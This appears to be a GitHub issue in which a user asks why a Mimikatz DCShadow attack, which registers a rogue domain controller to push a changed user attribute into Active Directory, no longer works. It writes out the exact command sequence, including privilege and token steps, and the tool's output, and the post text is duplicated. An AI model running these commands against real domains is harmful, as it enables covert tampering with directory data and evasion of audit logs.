You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
I've been using the DCShadow attack with Mimikatz for quite a while successfully but without any known changes I'm seeing a new scenario where my fake server is not being seen.
I'm running the attack on a domain joined Windows 11 PC and the Windows firewall is turned off on that side but not on the DC. That is how I have been previously running the attack.
On session #1 I am running cmd.exe as an administrator then within mimikatz I run:
!+
!processtoken
then run the attribute command like this:
lsadump::dcshadow /object:user1compromised /attribute:LastLogonTimestamp /value=133793784493602588
I then see the server start up and waiting until a Cntrl-C is pressed.
In session #2, I launch it with:
runas /user:mydomain.com\baduser "C:\Attackfolder\x64\mimikatz.exe" (baduser is a Domain Admin)
Then when that comes up, I run the command:
lsadump::dcshadow /push
I do see output in session #2 that looks like this below, but there is no response on the fake server session side and the attribute is not updated:
I've been using the DCShadow attack with Mimikatz for quite a while successfully but without any known changes I'm seeing a new scenario where my fake server is not being seen.
I'm running the attack on a domain joined Windows 11 PC and the Windows firewall is turned off on that side but not on the DC. That is how I have been previously running the attack.
On session #1 I am running cmd.exe as an administrator then within mimikatz I run:
!+
!processtoken
then run the attribute command like this:
lsadump::dcshadow /object:user1compromised /attribute:LastLogonTimestamp /value=133793784493602588
I then see the server start up and waiting until a Cntrl-C is pressed.
In session #2, I launch it with:
runas /user:mydomain.com\baduser "C:\Attackfolder\x64\mimikatz.exe" (baduser is a Domain Admin)
Then when that comes up, I run the command:
lsadump::dcshadow /push
I do see output in session #2 that looks like this below, but there is no response on the fake server session side and the attribute is not updated:
Server: DC1.mydomain.com
InstanceId : {52021f09-72f2-4471-9114-9e582b9c071c}
InvocationId: {84090195-1a7d-43c3-8959-c7c59226d0a3}
Fake Server (not already registered): VICTIM1.mydomain.com
** Performing Registration **
** Performing Push **
Syncing DC=mydomain,DC=com
Sync Done
How can I troubleshoot this to determine why the server session of Mimikatz is not detecting the push command from the other session?
Rick
The text was updated successfully, but these errors were encountered: